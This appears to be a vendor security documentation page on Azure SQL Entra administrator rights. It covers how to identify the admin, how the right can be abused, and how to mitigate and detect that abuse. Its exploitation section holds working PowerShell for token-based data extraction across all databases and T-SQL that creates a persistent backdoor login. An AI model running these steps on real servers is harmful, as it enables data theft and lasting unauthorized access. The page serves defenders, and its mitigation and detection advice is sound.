> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_sql_admin.md).

# AZ\_SQL\_ADMIN

## Summary

|                            |                                                    |
| -------------------------- | -------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_SQL\_ADMIN                                     |
| **Azure Alias**            | Microsoft Entra Admin (Azure SQL Server)           |
| **Affected Object Types**  | User, Group, Service Principal -> Azure SQL Server |
| **Exploitation Certainty** | Certain                                            |
| **Severity**               | Critical                                           |

## Description

`AZ_SQL_ADMIN` is the relationship where a Microsoft Entra principal (user, group, or service principal) is set as the **Microsoft Entra administrator** of an Azure SQL logical server.

The Entra admin is the highest-privileged principal on the server, with full control over every database (including `master`):

* Read and modify all data in every database on the server.
* Create, alter, and drop users, logins, and roles.
* Execute arbitrary T-SQL.
* Manage database-level security (permissions, row-level security, dynamic data masking).
* Use the server's managed identity — if one is assigned — to pivot to other Azure resources (see [AZ\_ASSIGNED\_MANAGED\_IDENTITY](https://docs.forestall.io/fsprotect/edges/azure/az_assigned_managed_identity)).

It is critical because it bypasses all database-level access controls. If the admin is a **group**, every member inherits these rights; if it is a **service principal**, its credentials grant the same access.

> **Note:** On **Azure SQL Managed Instance** the classic on-prem model applies (`sysadmin` role, `USE`, cross-database queries). On **Azure SQL Database** there is no `sysadmin` role and each connection is bound to a single database — the differences matter in [Exploitation](#exploitation).

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List the Microsoft Entra admin for every SQL Server (-ExpandActiveDirectoryAdministrator populates .Administrators)
Get-AzSqlServer -ExpandActiveDirectoryAdministrator | ForEach-Object {
    [PSCustomObject]@{
        ServerName        = $_.ServerName
        ResourceGroup     = $_.ResourceGroupName
        Login             = $_.Administrators.Login
        PrincipalType     = $_.Administrators.PrincipalType         # User / Group / Application
        AdministratorType = $_.Administrators.AdministratorType
        EntraOnlyAuth     = $_.Administrators.AzureADOnlyAuthentication   # false => SQL-auth backdoor login is possible
    }
} | Where-Object { $_.Login } | Format-Table -AutoSize
```

### Azure Portal

1. Open **Azure Portal** -> the target **SQL server**.
2. Under **Settings**, select **Microsoft Entra ID**.
3. The current Entra admin is shown with its Object ID and type. If it is a **group**, review its membership — every member is a SQL admin.

## Exploitation

You need the credentials of the admin principal (a user, a service principal, or any member of the admin group) and network reachability to the server.

### Connect as the Entra admin

Sign in to Azure as the admin principal, get an Azure SQL access token, and pass it to `Invoke-Sqlcmd` with `-AccessToken`:

```powershell
Import-Module SqlServer
$server = "<ServerName>.database.windows.net"

# User (interactive / device-code):
Connect-AzAccount

# One token is valid for every database on the logical server
$token = (Get-AzAccessToken -ResourceUrl "https://database.windows.net/" -AsSecureString).Token

Invoke-Sqlcmd -ServerInstance $server -Database "master" -AccessToken $token -Query "SELECT name, state_desc FROM sys.databases;"
```

![Authenticate as the Entra admin with an access token and list databases](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-15e2e30abe70da913aeb6ac7717c646aa98645a5%2Fazure-az_sql_admin-authenticate_as_admin.PNG?alt=media)

### Enumerate and extract data

On **Azure SQL Database** each connection is bound to one database (`USE` and cross-database queries don't work). List the databases from `master`, then connect to each one to read its data:

```powershell
# Reuses $token from the connect step above
$dbs = Invoke-Sqlcmd -ServerInstance $server -Database "master" -AccessToken $token `
    -Query "SELECT name FROM sys.databases WHERE database_id > 4;"

foreach ($db in $dbs.name) {
    Write-Host "=== $db ==="
    Invoke-Sqlcmd -ServerInstance $server -Database $db -AccessToken $token `
        -Query "SELECT TOP 100 * FROM [dbo].[SensitiveTable];"
}
```

![Enumerate user databases on the logical server](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-62d8edf31dfe21ed6ba81fc2b2ffc238ee413e84%2Fazure-az_sql_admin-enum_dbs.PNG?alt=media)

### Create a backdoor login

A SQL login keeps working even after your Entra admin rights are removed — as long as SQL authentication is still enabled (`azureADOnlyAuthentication == false`).

```sql
-- 1. In master: create the login and give it server admin
CREATE LOGIN [backdoor_admin] WITH PASSWORD = '<StrongPassword>';
CREATE USER  [backdoor_admin] FOR LOGIN [backdoor_admin];
ALTER ROLE dbmanager    ADD MEMBER [backdoor_admin];   -- create/drop databases
ALTER ROLE loginmanager ADD MEMBER [backdoor_admin];   -- manage logins

-- 2. In each target database: give it full control of the data
CREATE USER [backdoor_admin] FOR LOGIN [backdoor_admin];
ALTER ROLE db_owner ADD MEMBER [backdoor_admin];
```

> **Azure SQL Managed Instance** is simpler — one step: `CREATE LOGIN ... WITH PASSWORD;` then `ALTER SERVER ROLE sysadmin ADD MEMBER [backdoor_admin];`.

### Abuse the server's managed identity

If the server has a **managed identity** assigned (see [AZ\_ASSIGNED\_MANAGED\_IDENTITY](https://docs.forestall.io/fsprotect/edges/azure/az_assigned_managed_identity)), the admin can obtain its token and pivot to whatever Azure resources that identity's RBAC allows. The token is the **server's identity, not the admin's**, so enumerate its role assignments to scope the pivot. See [Azure SQL Managed Identity Token Extraction](https://forestall.io/resources/blog/azure-sql-managed-identity-token-extraction).

## Mitigation

1. **Assign a security group, not individual users**, and control membership with access reviews.
2. **Use PIM** for the admin group — eligible membership, MFA, and justification on activation, instead of standing assignments.
3. **Avoid service principals as the admin.** If required, use certificate-based auth and restrict who can add secrets.
4. **Enable Microsoft Entra-only authentication** (Portal -> SQL server -> **Microsoft Entra ID** -> *Support only Microsoft Entra authentication*) to block SQL backdoor logins.
5. **Enable Azure SQL Auditing** to a Log Analytics workspace or Storage account.
6. **Restrict the network path** with private endpoints and firewall rules.

## Detection

The abuse of a standing SQL admin — reading data, creating backdoor logins, altering roles, executing T-SQL — is **data-plane** activity that the Azure Activity log does **not** record. It surfaces in **Azure SQL Auditing**, so that is the primary source.

1. **Azure SQL Auditing** (Portal -> SQL server/database -> **Auditing**; must be enabled and sent to Log Analytics/Storage). Review audited events for:
   * Sign-ins by the Entra admin principal, and connections from unexpected IPs or at unusual times.
   * Security changes — `CREATE LOGIN`, `CREATE USER`, `ALTER ROLE ... ADD MEMBER` (backdoor persistence).
   * Large or unusual `SELECT` activity against sensitive tables (bulk data reads).
2. **Microsoft Entra sign-in logs** (Portal -> **Microsoft Entra ID** -> **Sign-in logs**). Filter for the admin principal and review **IP address**, **Location**, and **Status** for unexpected sign-ins.
3. **Azure Activity log** (Portal -> SQL server -> **Activity log**). This only shows the control-plane act of *setting* the admin — filter for `Microsoft.Sql/servers/administrators/write` to catch an unexpected principal being made admin. It reveals **who became admin**, not what they do afterward.

## References

* <https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-overview>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/logins-create-manage>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/auditing-overview>
